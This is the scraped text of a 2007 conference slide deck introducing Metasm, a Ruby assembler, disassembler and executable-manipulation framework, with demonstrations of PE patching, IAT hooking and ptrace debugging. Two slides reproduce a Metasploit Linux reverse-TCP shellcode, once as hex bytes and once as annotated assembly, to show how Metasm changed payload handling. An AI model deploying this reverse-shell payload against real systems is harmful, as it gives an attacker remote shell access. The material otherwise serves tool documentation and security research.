Metasm: A Ruby (Dis) Assembler

Metasm
a ruby (dis)assembler
Yoann Guillot
20 october 2007
Metasm
Demonstrations
Presentation
I am Yoann Guillot
I work for Sogeti/ESEC in the security R&D lab
Metasm HACK.LU 2007 2 / 23

Architecture overview
Assembly
Disassembly
Metasm Executable file handling
Demonstrations C compiler
Live process interaction
Use cases
Metasploit 3
Plan
1 Metasm
Assembly
Disassembly
Executable file handling
C compiler
Use cases
Metasploit 3
2 Demonstrations
Assembly
Disassembly
Use cases
Metasploit 3
Introduction
Metasm is a full-Ruby standalone framework

To manipulate machine code (static or dynamic)
Multi-CPU (Ia32/MIPS for now)
Multi-OS (Windows/Linux)
distributed under the open-source LGPL license
http://metasm.cr0.org/
still under heavy developpement

Assembly
Disassembly
Use cases
Metasploit 3

Assembly
Disassembly
Use cases
Metasploit 3
Assembly
EncodedData represents a relocatable binary string

binary data
arbitrary relocations
exports
virtual size
used to dissociate assembly from linking

Assembly
Disassembly
Use cases
Metasploit 3
Assembly
mov eax, dword ptr [toto]

Assembly
Disassembly
Use cases
Metasploit 3
Disassembly
simple yet powerful backtracking engine

emulates standard CPU instructions
follows precisely code flow
currently unfinished
trace data access
handle subfunctions
handle external API calls
minimal arch-specific developpement

Assembly
Disassembly
Use cases
Metasploit 3
Handling executable files
reading
from a file
directly in memory
writing
from scratch
patch an existing exe
currently supported formats: MZ / PE / COFF, ELF / a.out

Assembly
Disassembly
Use cases
Metasploit 3
C Compilation
Metasm includes a complete C parser

features header filtering
basic compiler for Ia32

Assembly
Disassembly
Use cases
Metasploit 3
String-like process memory abstraction

transparent read/write
Ruby objects wrap the host OS debug API

Assembly
Disassembly
Use cases
Metasploit 3
When is it useful
whenever you want to manipulate machine code or executable

files
it’s easy to hook/rewrite/customize any internal method

Assembly
Disassembly
Use cases
Metasploit 3
Metasploit 3 - before
Metasploit 3 is also written in Ruby

it had very bad machine code support
hexadecimal static shellcodes
hacks to patch the shellcodes with user-specified values
more hacks to link stages

Assembly
Disassembly
Use cases
Metasploit 3
Metasploit 3 - before
[metasploit3/.../reverse tcp.rb]
’Payload’ =>
{
’Offsets’ =>
{
’LHOST’ => [ 0x1a, ’ADDR’ ],
’LPORT’ => [ 0x20, ’n’ ],
},
’Payload’ =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" +
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68" +
"\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" +
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" +
"\x89\xe1\xb0\x0b\xcd\x80"
}

Assembly
Disassembly
Use cases
Metasploit 3
Metasploit 3 - now
[metasploit3/.../reverse tcp2.rb]
’Payload’ => {
’Offsets’ => {
’LHOST’ => [ 0, ’ADDR’ ],
’LPORT’ => [ 0, ’n’ ],
},
’Assembly’ => <<EOS
xor ebx, ebx ; @00000000 31db
[...]
pop edx ; @00000018 5a
push LHOST ; @00000019 687f000001
push.i16 LPORT ; @0000001e 6668bfbf
[...]
push ’//sh’
push ’/bin’
[...]
mov al, 0bh ; @00000042 b00b
int 80h ; @00000044 cd80
EOS
}

Assembly
Disassembly
Use cases
Metasploit 3
Metasploit 3 - now
Metasm is now included in Metasploit

shellcodes can be in source from
standard Metasm relocation handling may be used for
shellcode patching/linking
???
Profit !

metasm-shell
Metasm
Exe manipulation
Demonstrations
Plan
1 Metasm
2 Demonstrations
metasm-shell
Exe manipulation

metasm-shell
Metasm
Exe manipulation
Demonstrations
metasm-shell
metasm-shell
adds metasm methods to standard Ruby Strings
offers an interactive assembler shell

metasm-shell
Metasm
Exe manipulation
Demonstrations
Exe manipulation
reading a MIPS ELF

metasm-shell
Metasm
Exe manipulation
Demonstrations
Exe manipulation
reading a MIPS ELF

compiling a simple PE [samples/testpe.rb]

metasm-shell
Metasm
Exe manipulation
Demonstrations
Exe manipulation
reading a MIPS ELF

compiling a simple PE [samples/testpe.rb]
patching a PE [samples/pe-hook.rb]

metasm-shell
Metasm
Exe manipulation
Demonstrations
Windows process hooking
simple IAT hook [samples/win32hooker.rb]

metasm-shell
Metasm
Exe manipulation
Demonstrations
Windows process hooking
full-library hook [samples/win32hooker-advanced.rb]

redirect all exported function to a custom hook

metasm-shell
Metasm
Exe manipulation
Demonstrations
Linux debugging
ptrace wrapper [samples/rubstop.rb]

singlestep, stepover, etc
memory access
PaX compatible

metasm-shell
Metasm
Exe manipulation
Demonstrations
Linux debugging
ptrace wrapper [samples/rubstop.rb]

singlestep, stepover, etc
memory access
PaX compatible
UI [samples/lindebug.rb]
console-mode only (for now)

metasm-shell
Metasm
Exe manipulation
Demonstrations
Conclusion
Thanks for listening

Questions ?

Metasm: A Ruby (Dis) Assembler

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Metasm: A Ruby (Dis) Assembler

Uploaded by

Copyright:

Available Formats

Metasm

Metasm HACK.LU 2007 2 / 23

Metasm is a full-Ruby standalone framework

Metasm HACK.LU 2007 4 / 23

Metasm HACK.LU 2007 5 / 23

EncodedData represents a relocatable binary string

Metasm HACK.LU 2007 6 / 23

mov eax, dword ptr [toto]

Metasm HACK.LU 2007 7 / 23

simple yet powerful backtracking engine

Metasm HACK.LU 2007 8 / 23

Handling executable files

Metasm HACK.LU 2007 9 / 23

Metasm includes a complete C parser

Metasm HACK.LU 2007 10 / 23

Live process interaction

String-like process memory abstraction

Metasm HACK.LU 2007 11 / 23

whenever you want to manipulate machine code or executable

Metasm HACK.LU 2007 12 / 23

Metasploit 3 is also written in Ruby

Metasm HACK.LU 2007 13 / 23

Metasm HACK.LU 2007 14 / 23

Metasm HACK.LU 2007 15 / 23

Metasm is now included in Metasploit

Metasm HACK.LU 2007 16 / 23

Metasm HACK.LU 2007 17 / 23

Metasm HACK.LU 2007 18 / 23

reading a MIPS ELF

Metasm HACK.LU 2007 19 / 23

reading a MIPS ELF

Metasm HACK.LU 2007 19 / 23

reading a MIPS ELF

Metasm HACK.LU 2007 19 / 23

Windows process hooking

simple IAT hook [samples/win32hooker.rb]

Metasm HACK.LU 2007 20 / 23

Windows process hooking

full-library hook [samples/win32hooker-advanced.rb]

Metasm HACK.LU 2007 21 / 23

ptrace wrapper [samples/rubstop.rb]

Metasm HACK.LU 2007 22 / 23

ptrace wrapper [samples/rubstop.rb]

Metasm HACK.LU 2007 22 / 23

Thanks for listening

Metasm HACK.LU 2007 23 / 23

You might also like